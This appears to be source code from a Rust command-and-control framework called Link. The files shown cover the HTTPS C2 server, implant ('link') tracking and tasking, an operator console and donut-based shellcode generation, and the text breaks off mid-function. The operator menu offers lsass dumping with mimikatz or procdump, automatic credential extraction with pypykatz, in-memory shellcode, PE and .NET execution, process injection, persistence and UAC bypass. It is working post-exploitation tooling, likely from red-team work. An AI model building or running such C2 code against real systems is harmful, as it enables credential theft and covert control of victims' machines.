cli_stdout.lock(); 219 | let link_name = format!( 220 | "{} ({}\\{}@{})", 221 | links[link_index].name, 222 | links[link_index].link_hostname, 223 | links[link_index].link_username, 224 | links[link_index].internal_ip, 225 | ); 226 | tasks::write_task_to_stdout( 227 | &mut cli_handle, 228 | link_name, 229 | links[link_index].tasks.tasks[i as usize].id.to_string(), 230 | links[link_index].tasks.tasks[i as usize] 231 | .cli_command 232 | .clone(), 233 | &returned_data, 234 | ); 235 | links[link_index].update_task_status(TaskStatus::Completed, returned_task_id); 236 | // add new x-request-id 237 | let new_x_request_id = links[link_index].set_x_request_id(); 238 | let task = Task { 239 | tasking: String::new(), 240 | q: String::new(), 241 | x_request_id: new_x_request_id, 242 | }; 243 | return HttpResponse::Ok().json(task); 244 | } 245 | } 246 | 247 | // if no command 248 | let new_x_request_id = links[link_index].set_x_request_id(); 249 | let task = Task { 250 | tasking: String::new(), 251 | q: String::new(), 252 | x_request_id: new_x_request_id, 253 | }; 254 | return HttpResponse::Ok().json(task); 255 | } 256 | -------------------------------------------------------------------------------- /src/server/links.rs: -------------------------------------------------------------------------------- 1 | // this will hold links in memory 2 | // log and save to database in the future 3 | extern crate chrono; 4 | extern crate uuid; 5 | use chrono::prelude::*; 6 | use std::sync::Mutex; 7 | 8 | // internal packages 9 | use crate::server; 10 | use server::{tasks, tasks::TaskStatus}; 11 | 12 | #[derive(Debug)] 13 | pub struct Links { 14 | pub links: Mutex>, 15 | pub count: Mutex, 16 | pub stdout: Mutex, 17 | } 18 | 19 | #[derive(Debug)] 20 | pub struct Link { 21 | pub status: LinkStatus, 22 | pub name: String, 23 | pub x_request_id: uuid::Uuid, 24 | pub link_type: LinkType, 25 | pub platform: String, 26 | pub architecture: String, 27 | pub link_username: String, 28 | pub link_hostname: String, 29 | pub internal_ip: String, 30 | pub external_ip: String, 31 | pub delay: u32, 32 | pub jitter: u32, 33 | pub pid: u32, 34 | pub process_name: String, 35 | pub first_checkin: DateTime, 36 | pub last_checkin: DateTime, 37 | pub protocol: String, 38 | pub user_agent: String, 39 | pub tasks: tasks::Tasks, 40 | } 41 | 42 | impl Default for Link { 43 | fn default() -> Self { 44 | Self::new() 45 | } 46 | } 47 | 48 | impl Link { 49 | pub fn new() -> Link { 50 | let init_uuid = uuid::Uuid::new_v4(); 51 | let link_name: String = uuid::Uuid::new_v4() 52 | .to_string() 53 | .split('-') 54 | .map(str::to_string) 55 | .collect(); 56 | Link { 57 | status: LinkStatus::Initializing, 58 | name: link_name, 59 | x_request_id: init_uuid, 60 | // this implementation will need to change once KM link is working 61 | link_type: LinkType::Ring3, 62 | platform: "".to_string(), 63 | architecture: "x86_64".to_string(), 64 | link_username: "".to_string(), 65 | link_hostname: "".to_string(), 66 | internal_ip: "".to_string(), 67 | external_ip: "".to_string(), 68 | delay: 0, 69 | jitter: 0, 70 | pid: 0, 71 | process_name: "".to_string(), 72 | first_checkin: Local::now(), 73 | last_checkin: Local::now(), 74 | protocol: "HTTP2".to_string(), 75 | user_agent: "".to_string(), 76 | tasks: tasks::Tasks::default(), 77 | } 78 | } 79 | 80 | pub fn update_last_checkin(&mut self) { 81 | self.last_checkin = Local::now(); 82 | } 83 | 84 | pub fn check_status(&mut self) { 85 | let now = Local::now().timestamp(); 86 | let most_recent = self.last_checkin.timestamp(); 87 | let diff = now - most_recent; 88 | if diff > 90 { 89 | self.status = LinkStatus::Inactive; 90 | } 91 | } 92 | 93 | pub fn set_name(&mut self, name: String) { 94 | self.name = name; 95 | } 96 | 97 | pub fn set_x_request_id(&mut self) -> String { 98 | let new_uuid = uuid::Uuid::new_v4(); 99 | self.x_request_id = new_uuid; 100 | new_uuid.to_string() 101 | } 102 | 103 | pub fn set_command(&mut self, command_to_execute: String, raw_command: String) { 104 | let task = tasks::Task { 105 | id: uuid::Uuid::new_v4(), 106 | command: command_to_execute, 107 | cli_command: raw_command, 108 | status: TaskStatus::Waiting, 109 | output: "".to_string(), 110 | }; 111 | self.tasks.tasks.push(task); 112 | } 113 | 114 | pub fn update_task_status(&mut self, status: TaskStatus, id: String) { 115 | // find task id 116 | let task_count = self.tasks.tasks.len(); 117 | let task_index: usize; 118 | for i in 0..task_count { 119 | if self.tasks.tasks[i as usize].id.to_string() == id { 120 | task_index = i; 121 | // if task is to kill link, set link status to inactive 122 | if self.tasks.tasks[task_index].command.as_str() == "exit" { 123 | match status { 124 | TaskStatus::Waiting => { 125 | self.tasks.tasks[task_index].status = TaskStatus::Waiting 126 | } 127 | TaskStatus::InProgress => { 128 | self.tasks.tasks[task_index].status = TaskStatus::Completed; 129 | self.status = LinkStatus::Exited; 130 | self.remove_task(task_index); 131 | // TODO 132 | // send link kill to stdout 133 | break; 134 | } 135 | // TODO 136 | // log output file 137 | // remote task from memory 138 | TaskStatus::Completed => self.remove_task(task_index), 139 | } 140 | } 141 | // match and update 142 | match status { 143 | TaskStatus::Waiting => { 144 | self.tasks.tasks[task_index].status = TaskStatus::Waiting 145 | } 146 | TaskStatus::InProgress => { 147 | self.tasks.tasks[task_index].status = TaskStatus::InProgress 148 | } 149 | // TODO 150 | // log output file 151 | // remote task from memory 152 | TaskStatus::Completed => self.remove_task(task_index), 153 | } 154 | break; 155 | } 156 | } 157 | } 158 | 159 | // Add logging functionality to file 160 | pub fn remove_task(&mut self, task_id: usize) { 161 | self.tasks.tasks.remove(task_id); 162 | } 163 | } 164 | 165 | #[derive(Debug, PartialEq)] 166 | pub enum LinkStatus { 167 | Initializing, 168 | Staging, 169 | Active, 170 | Inactive, 171 | Exited, 172 | } 173 | 174 | #[derive(Debug, PartialEq)] 175 | pub enum IntegrityLevel { 176 | Low, 177 | Medium, 178 | High, 179 | System, 180 | } 181 | 182 | #[derive(Debug, PartialEq)] 183 | pub enum LinkType { 184 | Ring3, 185 | Ring0, 186 | } 187 | -------------------------------------------------------------------------------- /src/server/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod links; 2 | pub mod spawn; 3 | pub mod tasks; 4 | -------------------------------------------------------------------------------- /src/server/spawn.rs: -------------------------------------------------------------------------------- 1 | use actix_web::{dev::Server, web, App, HttpServer}; 2 | use std::{ 3 | path::Path, 4 | process::exit, 5 | sync::{mpsc, Mutex}, 6 | thread, 7 | }; 8 | 9 | // internal packages 10 | use crate::routes; 11 | use crate::server; 12 | use crate::util; 13 | use server::links::Links; 14 | use util::cli::cli_line; 15 | 16 | pub async fn spawn_server( 17 | tx: &mpsc::Sender, 18 | rx_command: &mpsc::Receiver, 19 | bind_addr: String, 20 | ) -> web::Data { 21 | //std::env::set_var("RUST_LOG", "link"); 22 | //env_logger::init(); 23 | let tx = tx.to_owned(); 24 | let rx_command = rx_command.to_owned(); 25 | let links_init = web::Data::new(Links { 26 | links: Mutex::new(Vec::new()), 27 | count: Mutex::new(0), 28 | stdout: Mutex::new(rx_command.recv().unwrap()), 29 | }); 30 | let links = links_init.clone(); 31 | // check certificate path 32 | let (key_path, cert_path) = if Path::new("cert").exists() { 33 | check_certs("cert".to_string()) 34 | } else { 35 | let arg = cli_line("Please provide full path to folder with certificates (contains key.pem and cert.pem): "); 36 | if Path::new(&arg[0]).exists() { 37 | check_certs(arg[0].clone()) 38 | } else { 39 | exit(1); 40 | } 41 | }; 42 | 43 | thread::spawn(move || { 44 | // load links 45 | // load ssl 46 | // openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost' 47 | let mut builder = 48 | openssl::ssl::SslAcceptor::mozilla_intermediate(openssl::ssl::SslMethod::tls()) 49 | .unwrap(); 50 | builder 51 | .set_private_key_file(&key_path, openssl::ssl::SslFiletype::PEM) 52 | .unwrap(); 53 | builder.set_certificate_chain_file(&cert_path).unwrap(); 54 | // web server 55 | let sys = actix_web::rt::System::new("protocol-web-server"); 56 | let pre_srv = HttpServer::new(move || { 57 | App::new() 58 | // logging 59 | //.wrap(actix_web::middleware::Logger::default()) 60 | // links 61 | .app_data(links.clone()) 62 | // payload delivery that is linked with xeca 63 | //.service(web::scope("/css").configure(payload_delivery)) 64 | // first round of proving the link 65 | .service(web::scope("/js").configure(routes::urls::stage_one_pass)) 66 | // provides access to link functions 67 | .service(web::scope("/static").configure(routes::urls::pass_link_config)) 68 | // non link traffic 69 | .service(routes::urls::index) 70 | }) 71 | .shutdown_timeout(1) 72 | .bind_openssl(bind_addr.as_str(), builder); 73 | if pre_srv.is_err() { 74 | println!( 75 | "Could not bind to {}: {}", 76 | bind_addr, 77 | pre_srv.err().unwrap() 78 | ); 79 | std::process::exit(1); 80 | } 81 | let srv = pre_srv?.run(); 82 | 83 | let _ = tx.send(srv); 84 | sys.run() 85 | }); 86 | links_init 87 | } 88 | 89 | fn check_certs(cert_dir: String) -> (String, String) { 90 | // check for key.pem and cert.pem 91 | let key_path = format!("{}/key.pem", &cert_dir); 92 | let cert_path = format!("{}/cert.pem", &cert_dir); 93 | if !Path::new(&key_path).exists() || !Path::new(&cert_path).exists() { 94 | println!("Certificate directory \"{}\" does not contain key.pem or cert.pem", &cert_dir); 95 | exit(1); 96 | } 97 | (key_path, cert_path) 98 | } 99 | -------------------------------------------------------------------------------- /src/server/tasks.rs: -------------------------------------------------------------------------------- 1 | use std::io::{StdoutLock, Write}; 2 | use std::fs; 3 | 4 | #[derive(Debug, Default)] 5 | pub struct Tasks { 6 | pub tasks: Vec, 7 | } 8 | 9 | #[derive(Debug)] 10 | pub struct Task { 11 | pub id: uuid::Uuid, 12 | pub command: String, 13 | pub cli_command: String, 14 | pub status: TaskStatus, 15 | pub output: String, 16 | } 17 | 18 | #[derive(Debug, PartialEq)] 19 | pub enum TaskStatus { 20 | Waiting, 21 | InProgress, 22 | Completed, 23 | } 24 | 25 | // command help struct 26 | pub struct Command { 27 | pub name: String, 28 | pub help: String, 29 | } 30 | 31 | // print new link to stdout 32 | pub fn write_link_to_stdout(cli_handle: &mut StdoutLock, link_name: String) { 33 | let output = format!("\n\n🔗 New link: {} 🔗\n", link_name,); 34 | let _ = cli_handle.write_all(output.as_bytes()).unwrap(); 35 | } 36 | 37 | // print returned task output to stdout 38 | pub fn write_task_to_stdout( 39 | cli_handle: &mut StdoutLock, 40 | link_name: String, 41 | task_id: String, 42 | task_command: String, 43 | returned_data: &str, 44 | ) { 45 | let output: String; 46 | // check if mimikatz was executed 47 | if task_command == "mimikatz 0".to_string() || task_command == "procdump 0".to_string() { 48 | let pypykatz_output = write_dump_exec_pypykatz(task_id.clone(), returned_data); 49 | output = format!( 50 | "\n\nLink: {}\nTask ID: {}\nCommand: {}\nOutput:\n\n{}\n", 51 | link_name, task_id, task_command, pypykatz_output, 52 | ); 53 | } else { 54 | output = format!( 55 | "\n\nLink: {}\nTask ID: {}\nCommand: {}\nOutput:\n\n{}\n", 56 | link_name, task_id, task_command, returned_data, 57 | ); 58 | } 59 | let _ = cli_handle.write_all(output.as_bytes()).unwrap(); 60 | } 61 | 62 | pub fn write_dump_exec_pypykatz(task_id: String, returned_data: &str) -> String { 63 | let home_dir = match std::env::var("HOME") { 64 | Err(e) => { 65 | println!("{}", e); 66 | return returned_data.to_string() 67 | } 68 | Ok(home) => home, 69 | }; 70 | let prev_dir_path = std::env::current_dir().unwrap(); 71 | let link_dumps_path = &format!("{}/.link/dumps", home_dir); 72 | // create directory and change dir 73 | match fs::create_dir_all(link_dumps_path) { 74 | Err(e) => { 75 | println!("{}", e); 76 | return returned_data.to_string() 77 | } 78 | Ok(link_dir) => link_dir, 79 | }; 80 | if std::env::set_current_dir(link_dumps_path).is_err() { 81 | println!("could not change directory"); 82 | return returned_data.to_string() 83 | } 84 | // write lsass.exe MiniDump to file 85 | let dump_name = format!("{}-lsass-dump", task_id); 86 | let dump_name_b64 = format!("{}.b64", dump_name.clone()); 87 | let dump_name_bin = format!("{}.bin", dump_name.clone()); 88 | let mut output_file = fs::File::create(&dump_name_b64.clone()).expect("could not write file"); 89 | output_file.write_all(returned_data.as_bytes()).expect("could not write contents to dump file"); 90 | // base64 decode and execute pypykatz on dump file 91 | let mut output = std::process::Command::new("base64") 92 | .args(&["-di", &dump_name_b64]) 93 | .output(); 94 | match output { 95 | Err(_) => { 96 | // return to previous path 97 | if std::env::set_current_dir(prev_dir_path).is_err() { 98 | println!("could not change directory"); 99 | } 100 | return returned_data.to_string() 101 | }, 102 | Ok(dump) => { 103 | output_file = fs::File::create(&dump_name_bin.clone()).expect("could not write file"); 104 | output_file.write_all(&dump.stdout).expect("could not write contents to dump file"); 105 | }, 106 | } 107 | // check if cargo exists if not prompt for install 108 | if std::process::Command::new("pypykatz") 109 | .stdout(std::process::Stdio::null()) 110 | .stderr(std::process::Stdio::null()) 111 | .spawn() 112 | .is_err() 113 | { 114 | println!("pypykatz not installed, the following command may help:"); 115 | println!("pip3 install pypykatz"); 116 | return returned_data.to_string() 117 | } 118 | output = std::process::Command::new("pypykatz") 119 | .args(&["lsa", "minidump", &dump_name_bin]) 120 | .output(); 121 | match output { 122 | Err(_) => { 123 | // return to previous path 124 | if std::env::set_current_dir(prev_dir_path).is_err() { 125 | println!("could not change directory"); 126 | } 127 | return returned_data.to_string() 128 | }, 129 | Ok(_) => {}, 130 | } 131 | let dump = output.unwrap(); 132 | // return to previous path 133 | if std::env::set_current_dir(prev_dir_path).is_err() { 134 | println!("could not change directory"); 135 | return returned_data.to_string() 136 | } 137 | 138 | let pypykatz_output = std::str::from_utf8(&dump.stdout).unwrap(); 139 | 140 | return pypykatz_output.to_string() 141 | } 142 | 143 | -------------------------------------------------------------------------------- /src/util/cli.rs: -------------------------------------------------------------------------------- 1 | use actix_web::web; 2 | use rustyline::error::ReadlineError; 3 | use rustyline::Editor; 4 | use server::links::Links; 5 | use std::sync::mpsc; 6 | 7 | use prettytable::{format, Table}; 8 | 9 | // internal packages 10 | use crate::server; 11 | use crate::util; 12 | 13 | // banner 14 | fn banner() { 15 | let banner = r#" 16 | .-') _ .-. .-') 17 | ( OO ) ) \ ( OO ) 18 | ,--. ,-.-') ,--./ ,--,' ,--. ,--. 19 | | |.-') | |OO) | \ | |\ | .' / 20 | | | OO ) | | \ | \| | ) | /, 21 | | |`-' | | |(_/ | . |/ | ' _) 22 | (| '---.' ,| |_.' | |\ | | . \ 23 | | | (_| | | | \ | | |\ \ 24 | `------' `--' `--' `--' `--' '--' "#; 25 | println!("{}", banner); 26 | } 27 | 28 | // simple readline utility 29 | pub fn cli_line(prompt: &str) -> Vec { 30 | use std::io::{stdin, stdout, Write}; 31 | print!("{}", prompt); 32 | let mut s = String::new(); 33 | let _ = stdout().flush(); 34 | stdin().read_line(&mut s).expect("Did not enter a string"); 35 | if let Some('\n') = s.chars().next_back() { 36 | s.pop(); 37 | } 38 | if let Some('\r') = s.chars().next_back() { 39 | s.pop(); 40 | } 41 | if s.is_empty() { 42 | return vec![String::from("")]; 43 | } 44 | get_string_vec(s) 45 | } 46 | 47 | fn get_string_vec(s: String) -> Vec { 48 | if s.is_empty() { 49 | return vec![String::from("")]; 50 | } 51 | s.split_whitespace().map(str::to_string).collect() 52 | } 53 | 54 | fn main_help() { 55 | println!("help"); 56 | println!(" generate generate link"); 57 | println!(" generate-linux generate link targeting linux"); 58 | println!(" generate-osx generate link targeting osx"); 59 | println!(" links links menu"); 60 | println!(" kill stop the web server"); 61 | println!(" sharp generate link"); 62 | println!(" help this help menu"); 63 | println!(" exit exits link server"); 64 | } 65 | 66 | pub async fn main_loop() { 67 | let (tx, rx) = mpsc::channel(); 68 | let (tx_command, rx_command) = mpsc::channel(); 69 | 70 | banner(); 71 | 72 | // start server 73 | let mut args: Vec; 74 | args = util::cli::cli_line("Start web server (Y/n)? "); 75 | match args[0].to_lowercase().as_str() { 76 | "y" => println!("starting server"), 77 | "n" => { 78 | println!("not ready it seems?\nexiting..."); 79 | std::process::exit(0); 80 | } 81 | _ => (), 82 | } 83 | // get bind address 84 | args = util::cli::cli_line("Please provide bind address (eg: 0.0.0.0:443): "); 85 | let bind_addr = if args[0].as_str() == "" { 86 | String::from("0.0.0.0:443") 87 | } else { 88 | args[0].clone() 89 | }; 90 | // initiate 91 | util::sharp::create_link_dir(); 92 | // spawn server 93 | let _ = tx_command.send(std::io::stdout()); 94 | let links = server::spawn::spawn_server(&tx, &rx_command, bind_addr).await; 95 | let srv = rx.recv().unwrap(); 96 | 97 | let mut rl = Editor::<()>::new(); 98 | let _ = rl.load_history(".protocol-history.txt"); 99 | loop { 100 | let readline = rl.readline("🔗 > "); 101 | match readline { 102 | Ok(line) => { 103 | rl.add_history_entry(line.as_str()); 104 | args = get_string_vec(line); 105 | match args[0].as_str() { 106 | "generate" => util::generate::generate(args), 107 | "generate-linux" => util::generate::generate_linux(args), 108 | "generate-osx" => util::generate::generate_osx(args), 109 | "links" => links_loop(links.clone(), args), 110 | "kill" => srv.stop(true).await, 111 | "sharp" => util::sharp::sharpcollection_manage(args), 112 | // add are you sure y/N 113 | "help" => main_help(), 114 | "exit" => std::process::exit(0), 115 | _ => continue, 116 | } 117 | } 118 | Err(ReadlineError::Interrupted) => { 119 | println!("CTRL-C"); 120 | break; 121 | } 122 | Err(ReadlineError::Eof) => { 123 | // TODO 124 | // perform check instead of killing process 125 | println!("CTRL-D"); 126 | break; 127 | } 128 | Err(err) => { 129 | println!("Error: {:?}", err); 130 | break; 131 | } 132 | } 133 | } 134 | } 135 | 136 | // links cli 137 | fn links_help() { 138 | println!("links [switch] "); 139 | println!(" -h help"); 140 | println!(" -a show all links"); 141 | println!(" -i interact with link (eg: link -i 1)"); 142 | println!(" -k kill link"); 143 | } 144 | 145 | fn links_menu_help() { 146 | println!("Link commands:"); 147 | println!(" mimikatz perform MiniDump on lsass and parse locally with pypykatz"); 148 | println!(" procdump MiniDump a process in memory"); 149 | println!(" execute-assembly execute .NET assembly in memory"); 150 | println!(" execute-shellcode execute shellcode in memory and return standard output/error"); 151 | println!(" execute-pe execute Windows PE in memory"); 152 | println!(" powerpick execute PowerShell without powershell.exe"); 153 | println!(" persist persistence modules"); 154 | println!(" bypass-uac bypass UAC"); 155 | println!(" link-inject inject link into process"); 156 | println!(" inject process injection"); 157 | println!(" sharp SharpCollection tools"); 158 | println!(" sassykitdi ala sassykitdi"); 159 | println!(" cmd execute command directly from process"); 160 | println!(" shell execute command via cmd.exe"); 161 | println!(" powershell execute command via powershell.exe"); 162 | println!(" cd change directory"); 163 | println!(" pwd print working directory"); 164 | println!(" ls list directory"); 165 | println!(" pid print PID"); 166 | println!(" whoami whoami"); 167 | println!(" integrity mandatory integrity control token"); 168 | println!(" kill exit link"); 169 | println!(" help show help"); 170 | println!(" ? show help"); 171 | println!(" info show info"); 172 | println!(" back main menu"); 173 | } 174 | 175 | fn links_menu_help_nix() { 176 | println!("Link commands:"); 177 | println!(" persist persistence modules"); 178 | println!(" cd change directory"); 179 | println!(" pwd print working directory"); 180 | println!(" ls list directory"); 181 | println!(" pid print PID"); 182 | println!(" whoami whoami"); 183 | println!(" kill exit link"); 184 | println!(" help show help"); 185 | println!(" ? show help"); 186 | println!(" info show info"); 187 | println!(" back main menu"); 188 | } 189 | 190 | fn link_info(links: web::Data, link_index: usize) { 191 | println!("{:#?}", links.links.lock().unwrap()[link_index]) 192 | } 193 | 194 | fn links_loop(links: web::Data, args: Vec) { 195 | if args.len() == 1 { 196 | links_list(links, false); 197 | return; 198 | } 199 | // parse args 200 | let mut args: Vec = args; 201 | let target_link: String; 202 | if args.len() == 2 { 203 | match args[1].as_str() { 204 | "-h" => { 205 | links_help(); 206 | return; 207 | } 208 | "-a" => { 209 | links_list(links, true); 210 | return; 211 | } 212 | _ => { 213 | links_help(); 214 | return; 215 | } 216 | } 217 | } else if args.len() == 3 { 218 | match args[1].as_str() { 219 | "-i" => target_link = args[2].to_string(), 220 | "-k" => target_link = args[2].to_string(), 221 | _ => { 222 | links_help(); 223 | return; 224 | } 225 | } 226 | } else { 227 | links_help(); 228 | return; 229 | } 230 | // check if link exists 231 | let mut link_exists = false; 232 | let mut link_index: usize = 0; 233 | let link_count = *links.count.lock().unwrap() as usize; 234 | for i in 0..link_count { 235 | if links.links.lock().unwrap()[i as usize].name == target_link { 236 | link_exists = true; 237 | link_index = i; 238 | break; 239 | } 240 | } 241 | if !link_exists { 242 | println!("link does not exist"); 243 | return; 244 | } 245 | 246 | let mut rl = Editor::<()>::new(); 247 | let _ = rl.load_history(".protocol-history.txt"); 248 | let link_prompt = format!("({}) 🔗 > ", target_link); 249 | loop { 250 | // print task output 251 | // perform asyncronously, dependent on 252 | // add link id 253 | let readline = rl.readline(link_prompt.as_str()); 254 | match readline { 255 | Ok(line) => { 256 | rl.add_history_entry(line.as_str()); 257 | args = get_string_vec(line); 258 | match args[0].as_str() { 259 | "execute-assembly" => { 260 | util::nonstd::execute_assembly(links.clone(), link_index, args) 261 | } 262 | "mimikatz" => util::nonstd::mimikatz(links.clone(), link_index, args), 263 | "procdump" => util::nonstd::procdump(links.clone(), link_index, args), 264 | "execute-pe" => util::nonstd::execute_pe(links.clone(), link_index, args), 265 | "execute-shellcode" => util::nonstd::execute_shellcode(links.clone(), link_index, args), 266 | "powerpick" => println!("todo"), 267 | // have pre generated DLLs for dropping 268 | // teams and other programs commonly used 269 | // junction folders, startup and registry 270 | "persist" => println!("todo"), 271 | "bypass-uac" => println!("todo"), 272 | "link-inject" => util::nonstd::link_inject(links.clone(), link_index, args), 273 | "inject" => util::nonstd::process_inject(links.clone(), link_index, args), 274 | "sharp" => util::sharp::sharp_link(links.clone(), link_index, args), 275 | "sassykitdi" => println!("Ring0 link only"), 276 | "cmd" => link_command(links.clone(), link_index, args), 277 | "shell" => link_command(links.clone(), link_index, args), 278 | "powershell" => link_command(links.clone(), link_index, args), 279 | "cd" => link_command(links.clone(), link_index, args), 280 | "pwd" => link_command(links.clone(), link_index, args), 281 | "ls" => link_command(links.clone(), link_index, args), 282 | "pid" => link_command(links.clone(), link_index, args), 283 | "whoami" => link_command(links.clone(), link_index, args), 284 | "integrity" => link_command(links.clone(), link_index, args), 285 | // do a check on this before exiting link 286 | "kill" => link_command(links.clone(), link_index, vec!["exit".to_string()]), 287 | "help" => { 288 | let platform = links.links.lock().unwrap()[link_index].platform.clone(); 289 | if platform == "windows" { 290 | links_menu_help(); 291 | } else { 292 | links_menu_help_nix(); 293 | } 294 | } 295 | "?" => links_menu_help(), 296 | "info" => link_info(links.clone(), link_index), 297 | "back" => return, 298 | _ => continue, 299 | } 300 | } 301 | Err(ReadlineError::Interrupted) => { 302 | println!("CTRL-C"); 303 | break; 304 | } 305 | Err(ReadlineError::Eof) => { 306 | println!("CTRL-D"); 307 | break; 308 | } 309 | Err(err) => { 310 | println!("Error: {:?}", err); 311 | break; 312 | } 313 | } 314 | } 315 | } 316 | 317 | fn link_command(links: web::Data, link_index: usize, command: Vec) { 318 | if command.len() > 1 && command[1] == "-h" { 319 | // match command help 320 | println!("{} help", command[0]); 321 | return; 322 | } 323 | links.links.lock().unwrap()[link_index].set_command(command.join(" "), command.join(" ")); 324 | } 325 | 326 | fn links_list(links: web::Data, all: bool) { 327 | let count = *links.count.lock().unwrap(); 328 | if count == 0 { 329 | println!("No links."); 330 | return; 331 | } else if count == 1 { 332 | println!("\n[{} Link]\n", count); 333 | } else { 334 | println!("\n[{} Links]\n", count); 335 | } 336 | 337 | // create table 338 | let mut table = Table::new(); 339 | table.set_format(*format::consts::FORMAT_NO_BORDER); 340 | table.add_row(row!["id", "type", "platform", "who", "internal ip", "last checkin", "status"]); 341 | 342 | // add links 343 | for i in 0..count { 344 | let iu = i as usize; 345 | let mut tmp = links.links.lock().unwrap(); 346 | tmp[iu].check_status(); 347 | if !all && tmp[iu].status != server::links::LinkStatus::Active { 348 | continue; 349 | } 350 | table.add_row(row![ 351 | tmp[iu].name, 352 | Fr -> format!("{:?}", tmp[iu].link_type), 353 | tmp[iu].platform, 354 | FB -> format!("{}\\{}", tmp[iu].link_hostname, tmp[iu].link_username), 355 | tmp[iu].internal_ip, 356 | Fc -> tmp[iu].last_checkin, 357 | bFg -> format!("{:?}", tmp[iu].status), 358 | ]); 359 | } 360 | table.printstd(); 361 | println!(); 362 | } 363 | -------------------------------------------------------------------------------- /src/util/donut.rs: -------------------------------------------------------------------------------- 1 | use std::{ 2 | fs, 3 | io::prelude::*, 4 | os::unix::fs::OpenOptionsExt, 5 | process::Command, 6 | }; 7 | 8 | // internal packages 9 | use crate::util; 10 | 11 | fn donut_create() -> bool { 12 | util::sharp::create_link_dir(); 13 | let home_dir = match std::env::var("HOME") { 14 | Err(e) => { 15 | println!("{}", e); 16 | return false; 17 | } 18 | Ok(home) => home, 19 | }; 20 | let link_path = format!("{}/.link", home_dir); 21 | let third_party_path = format!("{}/3rdparty", link_path); 22 | let donut_path = format!("{}/3rdparty/donut", link_path); 23 | if !fs::metadata(donut_path.as_str()).is_ok() { 24 | if !fs::metadata(third_party_path.as_str()).is_ok() { 25 | match fs::create_dir_all(third_party_path.as_str()) { 26 | Err(e) => { 27 | println!("{}", e); 28 | return false; 29 | } 30 | Ok(third) => third, 31 | } 32 | } 33 | let donut = include_bytes!("../assets/donut"); 34 | let mut donut_file = fs::OpenOptions::new() 35 | .create(true) 36 | .write(true) 37 | .mode(0o755) 38 | .open(&donut_path) 39 | .expect("Error writing donut"); 40 | donut_file.write_all(donut).expect("Could not write donut contents to file"); 41 | } 42 | true 43 | } 44 | 45 | pub fn create_shellcode(executable_path: String, parameters: Vec) -> Option { 46 | util::sharp::create_link_dir(); 47 | if !donut_create() { 48 | return None; 49 | } 50 | let home_dir = match std::env::var("HOME") { 51 | Err(e) => { 52 | println!("{}", e); 53 | return None; 54 | } 55 | Ok(home) => home, 56 | }; 57 | let link_path = format!("{}/.link", home_dir); 58 | let donut_path = format!("{}/3rdparty/donut", link_path); 59 | 60 | // generate payload 61 | if parameters.len() > 0 { 62 | let params = parameters.join(","); 63 | let output = Command::new(&donut_path) 64 | .args(&["-a", "2", "-p", ¶ms, "-f", &executable_path]) 65 | .output(); 66 | match output { 67 | Err(_) => println!("could not generate"), 68 | Ok(_) => {}, 69 | } 70 | } else { 71 | let output = std::process::Command::new(&donut_path) 72 | .args(&["-a", "2", "-f", &executable_path]) 73 | .output(); 74 | match output { 75 | Err(_) => println!("could not generate"), 76 | Ok(_) => {}, 77 | } 78 | } 79 | let shellcode = match std::fs::read("payload.bin") { 80 | Err(e) => { 81 | println!("{}", e); 82 | return None; 83 | } 84 | Ok(shellcode) => shellcode, 85 | }; 86 | let shellcode_b64 = base64::encode(shellcode); 87 | // delete shellcode on disk 88 | let _ = fs::remove_file("payload.bin"); 89 | 90 | Some(shellcode_b64) 91 | } 92 | -------------------------------------------------------------------------------- /src/util/generate.rs: -------------------------------------------------------------------------------- 1 | use std::fs; 2 | use std::io::prelude::*; 3 | use util::sharp::git_exists; 4 | use util::shellcode; 5 | 6 | // internal packages 7 | use crate::util; 8 | 9 | fn generate_help() { 10 | println!("generate "); 11 | println!(" example: generate 10.10.10.10:8443"); 12 | println!(" example: generate link.com:8443"); 13 | } 14 | 15 | fn generate_has_dependencies() -> bool { 16 | // check if cargo exists if not prompt for install 17 | if std::process::Command::new("cargo") 18 | .stdout(std::process::Stdio::null()) 19 | .stderr(std::process::Stdio::null()) 20 | .spawn() 21 | .is_err() 22 | { 23 | println!("cargo not installed, the following command may help:"); 24 | println!("curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh"); 25 | return false; 26 | } 27 | // check if rustup exists if not prompt for install 28 | if std::process::Command::new("rustup") 29 | .stdout(std::process::Stdio::null()) 30 | .stderr(std::process::Stdio::null()) 31 | .spawn() 32 | .is_err() 33 | { 34 | println!("rustup not installed, the following command may help:"); 35 | println!("curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh"); 36 | return false; 37 | } 38 | // check if mingw64 and mingw64 binutils exist 39 | if std::process::Command::new("/usr/bin/x86_64-w64-mingw32-gcc") 40 | .stdout(std::process::Stdio::null()) 41 | .stderr(std::process::Stdio::null()) 42 | .spawn() 43 | .is_err() 44 | { 45 | println!("mingw64 not installed"); 46 | return false; 47 | } 48 | if std::process::Command::new("/usr/x86_64-w64-mingw32/bin/ar") 49 | .stdout(std::process::Stdio::null()) 50 | .stderr(std::process::Stdio::null()) 51 | .spawn() 52 | .is_err() 53 | { 54 | println!("mingw64 binutils not installed"); 55 | return false; 56 | } 57 | // check if ~/.cargo/config contains cross toolchain 58 | let home_dir = match std::env::var("HOME") { 59 | Err(e) => { 60 | println!("{}", e); 61 | return false; 62 | } 63 | Ok(home) => home, 64 | }; 65 | let cargo_conf_dir = format!("{}/.cargo/config", home_dir); 66 | let cross_conf = "[target.x86_64-pc-windows-gnu]\nlinker = \"/usr/bin/x86_64-w64-mingw32-gcc\"\nar = \"/usr/$ARCH-w64-mingw32/bin/ar\""; 67 | if fs::metadata(cargo_conf_dir.as_str()).is_err() { 68 | println!("cargo config does not exist: ~/.cargo/config"); 69 | println!("cross platform configuration should contain:\n"); 70 | println!("{}:\n{}\n", cargo_conf_dir, cross_conf); 71 | println!( 72 | "once complete add the windows rust-std with:\nrustup target add x86_64-pc-windows-gnu" 73 | ); 74 | return false; 75 | } 76 | // check if rust-std for x86_64-pc-windows-gnu target installed 77 | let rustup_win_lib_dir = format!( 78 | "{}/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/lib/rustlib/x86_64-pc-windows-gnu", 79 | home_dir 80 | ); 81 | if fs::metadata(rustup_win_lib_dir.as_str()).is_err() { 82 | println!( 83 | "rustup does not have x86_64-pc-windows-gnu target, the following command may help:" 84 | ); 85 | println!("rustup target add x86_64-pc-windows-gnu"); 86 | return false; 87 | } 88 | true 89 | } 90 | 91 | pub fn generate(args: Vec) { 92 | if args.len() == 1 { 